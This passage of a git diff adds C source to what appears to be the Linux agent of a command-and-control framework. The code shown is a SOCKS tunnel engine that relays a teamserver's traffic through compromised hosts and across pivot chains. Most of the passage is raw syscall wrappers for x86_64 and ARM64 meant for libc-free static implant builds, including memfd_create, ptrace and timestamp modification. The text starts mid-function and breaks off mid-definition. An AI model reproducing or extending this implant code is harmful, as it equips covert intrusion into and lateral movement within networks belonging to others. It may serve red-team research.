tun->channel_id, 0, 5 /*refused*/); + } + appended++; + } + } + + // ──────────────────────────────────────── + // Stage 2: FlushProxy -- write buffered data to target sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].write_len == 0) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking write + long n = PF_write(tun->client_fd, tun->write_buf, tun->write_len); + if (n > 0) { + // Shift remaining data + uint32_t remaining = tun->write_len - (uint32_t)n; + if (remaining > 0) { + // Use manual byte-by-byte copy (memmove equivalent, safe for overlap) + uint8_t *dst = tun->write_buf; + uint8_t *src = tun->write_buf + n; + for (uint32_t j = 0; j < remaining; j++) + dst[j] = src[j]; + } + tun->write_len = remaining; + + // Check backpressure: if we were paused and buffer dropped, send RESUME + if (tun->agent_paused && tun->write_len < TUNNEL_LOW_WATERMARK) { + tun->agent_paused = 0; + // Pack TUNNEL_RESUME as response to teamserver + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_RESUME, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + } else if (n == 0 || (n < 0 && n != -11 /*EAGAIN*/)) { + // Write error or EOF → close + tun->state = TUNNEL_STATE_CLOSED; + } + + // Backpressure: buffer too large → tell teamserver to pause + if (!tun->agent_paused && tun->write_len > TUNNEL_HIGH_WATERMARK) { + tun->agent_paused = 1; + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_PAUSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + + // Hard cap: kill the channel + if (tun->write_len > TUNNEL_HARD_CAP) { + tun->state = TUNNEL_STATE_CLOSED; + } + } + + // ──────────────────────────────────────── + // Stage 3: RecvProxy -- read from target sockets, pack TUNNEL_DATA + // ──────────────────────────────────────── + uint8_t recv_buf[RECV_CHUNK_SIZE]; + + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].paused) continue; + + // Stop if collector is already large (packer size limit) + if (obj_collector->buf.len > (int)MAX_OBJ_SIZE) break; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking read check + pf_fd_set rfds; + pf_fd_zero(&rfds); + pf_fd_set_bit(tun->client_fd, &rfds); + + int sr = pf_select_zero(tun->client_fd + 1, &rfds, (pf_fd_set *)0); + if (sr <= 0) continue; + + if (pf_fd_is_set(tun->client_fd, &rfds)) { + long n = PF_read(tun->client_fd, recv_buf, RECV_CHUNK_SIZE); + if (n > 0) { + pack_tunnel_data(obj_collector, tun->channel_id, + recv_buf, (uint32_t)n); + appended++; + } else if (n == 0) { + // EOF — target closed the connection + tun->state = TUNNEL_STATE_CLOSED; + } else if (n != -11 /*EAGAIN*/) { + // Read error + tun->state = TUNNEL_STATE_CLOSED; + } + } + } + + // ──────────────────────────────────────── + // Stage 4: CloseProxy -- cleanup closed tunnels + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CLOSED) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Close socket if still open + if (tun->client_fd >= 0) { + PF_close(tun->client_fd); + tun->client_fd = -1; + } + + // Free write buffer + if (tun->write_buf) { + ax_free(tun->write_buf); + tun->write_buf = (uint8_t *)0; + } + tun->write_len = 0; + tun->write_cap = 0; + + // Pack close notification + pack_tunnel_close(obj_collector, tun->channel_id, 0); + appended++; + + // Mark slot as free + tun->active = 0; + tun->channel_id = 0; + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h new file mode 100644 index 000000000..909f6e394 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h @@ -0,0 +1,50 @@ +#ifndef PROXYFIRE_H +#define PROXYFIRE_H + +#include "types.h" +#include "jobs.h" +#include "msgpack.h" +#include + +/// Proxyfire -- MUX tunnel engine for SOCKS proxy +/// +/// Pattern: beacon's Proxyfire.cpp, adapted for Linux (syscalls/libc). +/// All tunnel I/O is muxed into the main communication channel so it +/// traverses any pivot chain (2, 3, 4+ hops). +/// +/// Flow: +/// teamserver → COMMAND_TUNNEL_START → proxy_connect_tcp() +/// teamserver → COMMAND_TUNNEL_WRITE → proxy_write_tcp() +/// teamserver → COMMAND_TUNNEL_PAUSE → proxy_pause() +/// teamserver → COMMAND_TUNNEL_RESUME → proxy_resume() +/// teamserver → COMMAND_TUNNEL_STOP → proxy_close() +/// main loop → process_tunnels() → packs TUNNEL_STATUS/DATA/CLOSE into obj_collector + +/// Start an async TCP connection to address (host:port). +/// The tunnel entry is allocated in g_job_ctx by the caller (task_tunnel_start). +/// Returns 0 on success (connection in progress), -1 on immediate error. +int proxy_connect_tcp(int tunnel_idx, const char *address); + +/// Queue data from teamserver to be written to the target socket. +/// Data is buffered in tunnel_entry_t.write_buf and flushed by process_tunnels(). +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len); + +/// Pause reading from the target socket (teamserver backpressure). +void proxy_pause(int channel_id); + +/// Resume reading from the target socket. +void proxy_resume(int channel_id); + +/// Close a tunnel by channel_id. +void proxy_close(int channel_id); + +/// Main loop polling function -- called every tick alongside process_pivots(). +/// Performs 4 stages (beacon pattern): +/// 1. CheckProxy -- poll connecting sockets, pack TUNNEL_STATUS +/// 2. FlushProxy -- write buffered data to target sockets +/// 3. RecvProxy -- read from target sockets, pack TUNNEL_DATA +/// 4. CloseProxy -- cleanup closed tunnels, pack TUNNEL_CLOSE +/// Returns number of objects appended to obj_collector. +int process_tunnels(mp_writer_t *obj_collector); + +#endif /* PROXYFIRE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h new file mode 100644 index 000000000..0b4af9985 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h @@ -0,0 +1,438 @@ +#ifndef SYSCALLS_AARCH64_H +#define SYSCALLS_AARCH64_H + +#ifdef ARCH_AARCH64 + +#include +#include + +/// Linux ARM64 syscall numbers (different from macOS ARM64!) +/// macOS uses x16 + svc #0x80 — Linux uses x8 + svc #0 +#define __NR_ioctl 29 +#define __NR_fcntl 25 +#define __NR_openat 56 +#define __NR_close 57 +#define __NR_read 63 +#define __NR_write 64 +#define __NR_fstatat 79 +#define __NR_fstat 80 +#define __NR_exit 93 +#define __NR_exit_group 94 +#define __NR_kill 129 +#define __NR_getpid 172 +#define __NR_getuid 174 +#define __NR_geteuid 175 +#define __NR_ptrace 117 +#define __NR_clone 220 +#define __NR_execve 221 +#define __NR_mmap 222 +#define __NR_mprotect 226 +#define __NR_munmap 215 +#define __NR_socket 198 +#define __NR_connect 203 +#define __NR_accept 202 +#define __NR_bind 200 +#define __NR_listen 201 +#define __NR_setsockopt 208 +#define __NR_getsockopt 209 +#define __NR_getcwd 17 +#define __NR_chdir 49 +#define __NR_mkdirat 34 +#define __NR_unlinkat 35 +#define __NR_renameat 38 +#define __NR_getdents64 61 +#define __NR_dup3 24 +#define __NR_pipe2 59 +#define __NR_prctl 167 +#define __NR_utimensat 88 +#define __NR_bpf 280 +#define __NR_getrandom 278 +#define __NR_memfd_create 279 +#define __NR_waitid 95 +#define __NR_wait4 260 +#define __NR_nanosleep 101 +#define __NR_setsid 157 +#define __NR_setpgid 154 +#define __NR_pselect6 72 + +/// Raw syscall wrappers — inline assembly +/// Convention: x8=nr, x0-x5=args, svc #0 + +static inline long raw_syscall0(long number) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0" + : "=r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers + +// Note: ARM64 Linux has no open() — use openat(AT_FDCWD, ...) +#define AT_FDCWD -100 + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_open(const char *path, int flags, int mode) { + return sys_openat(AT_FDCWD, path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup3(int oldfd, int newfd, int flags) { + return (int)raw_syscall3(__NR_dup3, oldfd, newfd, flags); +} + +// dup2 emulated via dup3(oldfd, newfd, 0) +static inline int sys_dup2(int oldfd, int newfd) { + return sys_dup3(oldfd, newfd, 0); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + raw_syscall1(__NR_exit_group, status); +} + +// ── Stat (via fstatat since ARM64 has no stat syscall) ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned int st_mode; + unsigned int st_nlink; + unsigned int st_uid; + unsigned int st_gid; + unsigned long st_rdev; + unsigned long __pad1; + long st_size; + int st_blksize; + int __pad2; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + unsigned int __unused4; + unsigned int __unused5; +}; + +static inline int sys_fstatat(int dirfd, const char *path, struct linux_stat *buf, int flags) { + return (int)raw_syscall4(__NR_fstatat, dirfd, (long)path, (long)buf, flags); +} + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return sys_fstatat(AT_FDCWD, path, buf, 0); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Filesystem (via *at syscalls since ARM64 has no legacy versions) ── + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall3(__NR_mkdirat, AT_FDCWD, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, 0); +} + +#define AT_REMOVEDIR 0x200 + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, AT_REMOVEDIR); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall4(__NR_renameat, AT_FDCWD, (long)oldpath, AT_FDCWD, (long)newpath); +} + +// ── Fork (via clone on ARM64) ── + +#define SIGCHLD 17 + +static inline int sys_fork(void) { + return (int)raw_syscall5(__NR_clone, SIGCHLD, 0, 0, 0, 0); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_AARCH64 +#endif // SYSCALLS_AARCH64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h new file mode 100644 index 000000000..921bc0e53 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h @@ -0,0 +1,407 @@ +#ifndef SYSCALLS_X64_H +#define SYSCALLS_X64_H + +#ifdef ARCH_X86_64 + +#include +#include + +/// Linux x86_64 syscall numbers +#define __NR_read 0 +#define __NR_write 1 +#define __NR_open 2 +#define __NR_close 3 +#define __NR_stat 4 +#define __NR_fstat 5 +#define __NR_mmap 9 +#define __NR_mprotect 10 +#define __NR_munmap 11 +#define __NR_ioctl 16 +#define __NR_pipe 22 +#define __NR_dup2 33 +#define __NR_socket 41 +#define __NR_connect 42 +#define __NR_accept 43 +#define __NR_bind 49 +#define __NR_listen 50 +#define __NR_setsockopt 54 +#define __NR_getsockopt 55 +#define __NR_clone 56 +#define __NR_fork 57 +#define __NR_execve 59 +#define __NR_exit 60 +#define __NR_kill 62 +#define __NR_fcntl 72 +#define __NR_getcwd 79 +#define __NR_chdir 80 +#define __NR_rename 82 +#define __NR_mkdir 83 +#define __NR_rmdir 84 +#define __NR_unlink 87 +#define __NR_getuid 102 +#define __NR_ptrace 101 +#define __NR_geteuid 107 +#define __NR_getpid 39 +#define __NR_getdents64 217 +#define __NR_exit_group 231 +#define __NR_waitid 247 +#define __NR_openat 257 +#define __NR_pipe2 293 +#define __NR_nanosleep 35 +#define __NR_wait4 61 +#define __NR_select 23 +#define __NR_setsid 112 +#define __NR_setpgid 109 +#define __NR_pselect6 270 +#define __NR_prctl 157 +#define __NR_utimensat 280 +#define __NR_bpf 321 +#define __NR_getrandom 318 +#define __NR_memfd_create 319 + +/// Raw syscall wrappers — inline assembly +/// Convention: rax=nr, rdi=a0, rsi=a1, rdx=a2, r10=a3, r8=a4, r9=a5 +/// Clobbered: rcx, r11 + +static inline long raw_syscall0(long number) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall1(long number, long a0) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + long ret; + register long r10 __asm__("r10") = a3; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + register long r9 __asm__("r9") = a5; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8), "r"(r9) + : "rcx", "r11", "memory" + ); + return ret; +} + +/// Convenience wrappers + +static inline int sys_open(const char *path, int flags, int mode) { + return (int)raw_syscall3(__NR_open, (long)path, flags, mode); +} + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(__NR_fork); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall2(__NR_mkdir, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall1(__NR_unlink, (long)path); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall2(__NR_rename, (long)oldpath, (long)newpath); +} + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall1(__NR_rmdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup2(int oldfd, int newfd) { + return (int)raw_syscall2(__NR_dup2, oldfd, newfd); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + raw_syscall1(__NR_exit_group, status); +} + +// ── Stat ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned long st_nlink; + unsigned int st_mode; + unsigned int st_uid; + unsigned int st_gid; + unsigned int __pad0; + unsigned long st_rdev; + long st_size; + long st_blksize; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + long __unused[3]; +}; + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_stat, (long)path, (long)buf); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── +// Minimal pthread replacement for -nostdlib static builds +// Stack: mmap(STACK_SIZE), child runs fn(arg) + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define 